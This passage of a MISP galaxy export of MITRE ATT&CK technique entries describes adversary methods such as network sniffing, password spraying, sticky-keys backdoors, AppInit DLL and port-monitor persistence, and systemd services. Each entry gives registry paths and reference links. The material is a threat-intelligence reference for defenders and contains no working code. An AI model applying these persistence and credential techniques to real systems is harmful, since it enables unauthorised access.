http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx
https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html
https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-vista/cc749211(v=ws.10)
https://msdn.microsoft.com/library/cc228086.aspx
https://msdn.microsoft.com/library/dd207691.aspx
https://wiki.samba.org/index.php/DRSUAPI
https://source.winehq.org/WineAPI/samlib.html
https://adsecurity.org/?p=1729
http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/
https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM
https://github.com/gentilkiwi/mimikatz/wiki/module-_{-lsadump[https://github.com/gentilkiwi/mimikatz/wiki/module-}-lsadump]
https://msdn.microsoft.com/library/cc237008.aspx
https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea
https://github.com/mattifestation/PowerSploit
https://msdn.microsoft.com/library/cc245496.aspx

Network Sniffing - T1040

Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.

Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and Relay](https://attack.mitre.org/techniques/T1171), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.

Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (ex: IP addressing, hostnames, VLAN IDs) necessary for follow-on Lateral Movement and/or Defense Evasion activities.

The tag is: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040"

Table 2523. Table References
Links
https://attack.mitre.org/techniques/T1040
https://capec.mitre.org/data/definitions/158.html

New Service - T1050

When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service’s configuration information, including the file path to the service’s executable, is stored in the Windows Registry.

Adversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035).

The tag is: misp-galaxy:mitre-attack-pattern="New Service - T1050"

Table 2524. Table References
Links
https://attack.mitre.org/techniques/T1050
https://capec.mitre.org/data/definitions/550.html
https://technet.microsoft.com/en-us/library/cc772408.aspx
https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697
https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection
https://technet.microsoft.com/en-us/sysinternals/bb963902

Fallback Channels - T1008

Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.

The tag is: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008"

Table 2525. Table References
Links
https://attack.mitre.org/techniques/T1008
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Binary Padding - T1009

Adversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary. This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.

Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blacklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)

The tag is: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009"

Table 2526. Table References
Links
https://attack.mitre.org/techniques/T1009
https://capec.mitre.org/data/definitions/572.html
https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/
https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/
https://www.virustotal.com/en/faq/ [https://www.virustotal.com/en/faq/ ]

Connection Proxy - T1090

Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.

External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the internet and then the proxy would forward communications to the C2 server.

Internal connection proxies can be used to consolidate internal connections from compromised systems. Adversaries may use a compromised internal system as a proxy in order to conceal the true destination of C2 traffic. The proxy can redirect traffic from compromised systems inside the network to an external C2 server making discovery of malicious traffic difficult. Additionally, the network can be used to relay information from one system to another in order to avoid broadcasting traffic to all systems.

The tag is: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090"

Table 2527. Table References
Links
https://attack.mitre.org/techniques/T1090
http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Brute Force - T1110

Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained.

[Credential Dumping](https://attack.mitre.org/techniques/T1003) is used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1075) is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking)

Adversaries may attempt to brute force logins without knowledge of passwords or hashes during an operation either with zero knowledge or by attempting a list of known or possible passwords. This is a riskier option because it could cause numerous authentication failures and account lockouts, depending on the organization’s login failure policies. (Citation: Cylance Cleaver)

A related technique called password spraying uses one password (e.g. 'Password01'), or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)

Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:

SSH (22/TCP)
Telnet (23/TCP)
FTP (21/TCP)
NetBIOS / SMB / Samba (139/TCP & 445/TCP)
LDAP (389/TCP)
Kerberos (88/TCP)
RDP / Terminal Services (3389/TCP)
HTTP/HTTP Management Services (80/TCP & 443/TCP)
MSSQL (1433/TCP)
Oracle (1521/TCP)
MySQL (3306/TCP)
VNC (5900/TCP)

In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)

In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.

The tag is: misp-galaxy:mitre-attack-pattern="Brute Force - T1110"

Table 2528. Table References
Links
https://attack.mitre.org/techniques/T1110
https://capec.mitre.org/data/definitions/49.html
https://en.wikipedia.org/wiki/Password_cracking
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf
http://www.blackhillsinfosec.com/?p=4645
https://www.us-cert.gov/ncas/alerts/TA18-086A
https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing

Query Registry - T1012

Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.

The Registry contains a significant amount of information about the operating system, configuration, software, and security. (Citation: Wikipedia Windows Registry) Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

The tag is: misp-galaxy:mitre-attack-pattern="Query Registry - T1012"

Table 2529. Table References
Links
https://attack.mitre.org/techniques/T1012
https://capec.mitre.org/data/definitions/647.html
https://en.wikipedia.org/wiki/Windows_Registry

Remote Services - T1021

An adversary may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.

The tag is: misp-galaxy:mitre-attack-pattern="Remote Services - T1021"

Table 2530. Table References
Links
https://attack.mitre.org/techniques/T1021
https://capec.mitre.org/data/definitions/555.html

Web Service - T1102

Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.

These commands may also include pointers to command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.

Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).

The tag is: misp-galaxy:mitre-attack-pattern="Web Service - T1102"

Table 2531. Table References
Links
https://attack.mitre.org/techniques/T1102
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

AppInit DLLs - T1103

Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows</code> or <code>HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Endgame Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)

The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)

The tag is: misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1103"

Table 2532. Table References
Links
https://attack.mitre.org/techniques/T1103
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://support.microsoft.com/en-us/kb/197571
https://msdn.microsoft.com/en-us/library/dn280412
https://technet.microsoft.com/en-us/sysinternals/bb963902

Port Monitors - T1013

A port monitor can be set through the (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in <code>C:\Windows\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors</code>.

The Registry key contains entries for the following:

Local Port
Standard TCP/IP Port
USB Monitor
WSD Port

Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.

The tag is: misp-galaxy:mitre-attack-pattern="Port Monitors - T1013"

Table 2533. Table References
Links
https://attack.mitre.org/techniques/T1013
http://msdn.microsoft.com/en-us/library/dd183341
https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf
https://technet.microsoft.com/en-us/sysinternals/bb963902

Accessibility Features - T1015

Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.

Two common accessibility programs are <code>C:\Windows\System32\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\Windows\System32\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)

Depending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:

For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\Windows\System32\utilman.exe</code>) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

For the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for the accessibility program (e.g., "utilman.exe"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)

On-Screen Keyboard: <code>C:\Windows\System32\osk.exe</code>
Magnifier: <code>C:\Windows\System32\Magnify.exe</code>
Narrator: <code>C:\Windows\System32\Narrator.exe</code>
Display Switcher: <code>C:\Windows\System32\DisplaySwitch.exe</code>
App Switcher: <code>C:\Windows\System32\AtBroker.exe</code>

The tag is: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1015"

Table 2534. Table References
Links
https://attack.mitre.org/techniques/T1015
https://capec.mitre.org/data/definitions/558.html
https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html
https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom
http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/

Clipboard Modification - T1510

Adversaries may abuse clipboard functionality to intercept and replace information in the Android device clipboard.(Citation: ESET Clipboard Modification February 2019)(Citation: Welivesecurity Clipboard Modification February 2019)(Citation: Syracuse Clipboard Modification 2014) Malicious applications may monitor the clipboard activity through the <code>ClipboardManager.OnPrimaryClipChangedListener</code> interface on Android to determine when the clipboard contents have changed.(Citation: Dr.Webb Clipboard Modification origin2 August 2018)(Citation: Dr.Webb Clipboard Modification origin August 2018) Listening to clipboard activity, reading the clipboard contents, and modifying the clipboard contents requires no explicit application permissions and can be performed by applications running in the background, however, this behavior has changed with the release of Android 10.(Citation: Android 10 Privacy Changes)

Adversaries may use [Clipboard Modification](https://attack.mitre.org/techniques/T1510) to replace text prior to being pasted, for example, replacing a copied Bitcoin wallet address with a wallet address that is under adversarial control.

[Clipboard Modification](https://attack.mitre.org/techniques/T1510) had been seen within the Android/Clipper.C trojan. This sample had been detected by ESET in an application distributed through the Google Play Store targeting cryptocurrency wallet numbers.(Citation: ESET Clipboard Modification February 2019)

The tag is: misp-galaxy:mitre-attack-pattern="Clipboard Modification - T1510"

Table 2535. Table References
Links
https://attack.mitre.org/techniques/T1510
https://www.eset.com/uk/about/newsroom/press-releases/first-clipper-malware-discovered-on-google-play-1/
https://www.welivesecurity.com/2019/02/08/first-clipper-malware-google-play/
http://www.cis.syr.edu/_{wedu/Research/paper/clipboard_attack_dimva2014.pdf[http://www.cis.syr.edu/}wedu/Research/paper/clipboard_attack_dimva2014.pdf]
https://vms.drweb.com/virus/?i=17517761
https://vms.drweb.com/virus/?i=17517750
https://developer.android.com/about/versions/10/privacy/changes#clipboard-data

Plist Modification - T1150

Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as <code>/Library/Preferences</code> (which execute with elevated privileges) and <code>~/Library/Preferences</code> (which execute with a user’s privileges). Adversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)

The tag is: misp-galaxy:mitre-attack-pattern="Plist Modification - T1150"

Table 2536. Table References
Links
https://attack.mitre.org/techniques/T1150
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/

Systemd Service - T1501

Systemd services can be used to establish persistence on a Linux system. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.

Systemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories and have the file extension <code>.service</code>. Each service unit file may contain numerous directives that can execute system commands.

ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start.
ExecReload directive covers when a service restarts.
ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.

Adversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at recurring intervals, such as at system boot.(Citation: Anomali Rocke March 2019)(Citation: gist Arch package compromise 10JUL2018)(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018)

While adversaries typically require root privileges to create/modify service unit files in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories, low privilege users can create/modify service unit files in directories such as <code>~/.config/systemd/user/</code> to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)

The tag is: misp-galaxy:mitre-attack-pattern="Systemd Service - T1501"

Table 2537. Table References
Links
https://attack.mitre.org/techniques/T1501
http://man7.org/linux/man-pages/man1/systemd.1.html
https://www.freedesktop.org/wiki/Software/systemd/
https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang
https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a
https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/
https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html
https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence

Shared Webroot - T1051

Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website’s webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.

This mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)

The tag is: misp-galaxy:mitre-attack-pattern="Shared Webroot - T1051"

Table 2538. Table References
Links
https://attack.mitre.org/techniques/T1051
https://capec.mitre.org/data/definitions/563.html
http://httpd.apache.org/docs/2.4/getting-started.html#content
https://www.webroot.com/blog/2011/02/22/malicious-php-scripts-on-the-rise/

Launch Daemon - T1160

Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).

Adversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.

The plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation.

The tag is: misp-galaxy:mitre-attack-pattern="Launch Daemon - T1160"

Table 2539. Table References
Links
https://attack.mitre.org/techniques/T1160
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf

File Deletion - T1107

Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.

There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)

The tag is: misp-galaxy:mitre-attack-pattern="File Deletion - T1107"

Table 2540. Table References
Links
https://attack.mitre.org/techniques/T1107
http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/

Redundant Access - T1108

Adversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated.

If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary’s tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use [External Remote Services](https://attack.mitre.org/techniques/T1133) such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.(Citation: Mandiant APT1) Adversaries may also retain access through cloud-based infrastructure and applications.

Use of a [Web Shell](https://attack.mitre.org/techniques/T1100) is one such way to maintain access to a network through an externally accessible Web server.

The tag is: misp-galaxy:mitre-attack-pattern="Redundant Access - T1108"

Table 2541. Table References
Links
https://attack.mitre.org/techniques/T1108
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Component Firmware - T1109

Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.

The tag is: misp-galaxy:mitre-attack-pattern="Component Firmware - T1109"

Table 2542. Table References
Links
https://attack.mitre.org/techniques/T1109
https://www.smartmontools.org/
https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html

System Firmware - T1019

The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)

System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.

The tag is: misp-galaxy:mitre-attack-pattern="System Firmware - T1019"

Table 2543. Table References
Links
https://attack.mitre.org/techniques/T1019
https://capec.mitre.org/data/definitions/532.html
https://en.wikipedia.org/wiki/BIOS
https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface
http://www.uefi.org/about
http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research
http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about
https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/
https://github.com/chipsec/chipsec
http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html

Data Encrypted - T1022

Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.

Other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over Command and Control Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)

The tag is: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022"

Table 2544. Table References
Links
https://attack.mitre.org/techniques/T1022
http://www.netsec.colostate.edu/_{zhang/DetectingEncryptedBotnetTraffic.pdf[http://www.netsec.colostate.edu/}zhang/DetectingEncryptedBotnetTraffic.pdf]
https://en.wikipedia.org/wiki/List_of_file_signatures

Data Hiding - T1320

Certain types of traffic (e.g., DNS tunneling, header inject) allow for user-defined fields. These fields can then be used to hide data. In addition to hiding data in network protocols, steganography techniques can be used to hide data in images or other file formats. Detection can be difficult unless a particular signature is already known. (Citation: BotnetsDNSC2) (Citation: HAMMERTOSS2015) (Citation: DNS-Tunnel)

The tag is: misp-galaxy:mitre-attack-pattern="Data Hiding - T1320"

Table 2545. Table References
Links
https://attack.mitre.org/techniques/T1320

Shortcut Modification - T1023

Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.

The tag is: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023"

Table 2546. Table References
Links
https://attack.mitre.org/techniques/T1023
https://capec.mitre.org/data/definitions/132.html

User Execution - T1204

An adversary may rely upon specific actions by a user in order to gain execution. This may be direct code execution, such as when a user opens a malicious executable delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) with the icon and apparent extension of a document file. It also may lead to other execution techniques, such as when a user clicks on a link delivered via [Spearphishing Link](https://attack.mitre.org/techniques/T1192) that leads to exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.

As an example, an adversary may weaponize Windows Shortcut Files (.lnk) to bait a user into clicking to execute the malicious payload.(Citation: Proofpoint TA505 June 2018) A malicious .lnk file may contain [PowerShell](https://attack.mitre.org/techniques/T1086) commands. Payloads may be included into the .lnk file itself, or be downloaded from a remote server.(Citation: FireEye APT29 Nov 2018)(Citation: PWC Cloud Hopper Technical Annex April 2017)

While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user’s desktop hoping that a user will click on it.

The tag is: misp-galaxy:mitre-attack-pattern="User Execution - T1204"

Table 2547. Table References
Links
https://attack.mitre.org/techniques/T1204
https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times
https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf

Task requirements - T1240

Once divided into the most granular parts, analysts work with collection managers to task the collection management system with requirements and sub-requirements. (Citation: Heffter) (Citation: JP2-01)

The tag is: misp-galaxy:mitre-attack-pattern="Task requirements - T1240"

Table 2548. Table References
Links
https://attack.mitre.org/techniques/T1240

Port Knocking - T1205

Port Knocking is a well-established method used by both defenders and adversaries to hide open ports from access. To enable a port, an adversary sends a series of packets with certain characteristics before the port will be opened. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports, but can involve unusual flags, specific strings or other unique characteristics. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.

This technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.

The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

The tag is: misp-galaxy:mitre-attack-pattern="Port Knocking - T1205"

Table 2549. Table References
Links
https://attack.mitre.org/techniques/T1205
https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631

Multiband Communication - T1026

Some adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.

The tag is: misp-galaxy:mitre-attack-pattern="Multiband Communication - T1026"

Table 2550. Table References
Links
https://attack.mitre.org/techniques/T1026
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Sudo Caching - T1206

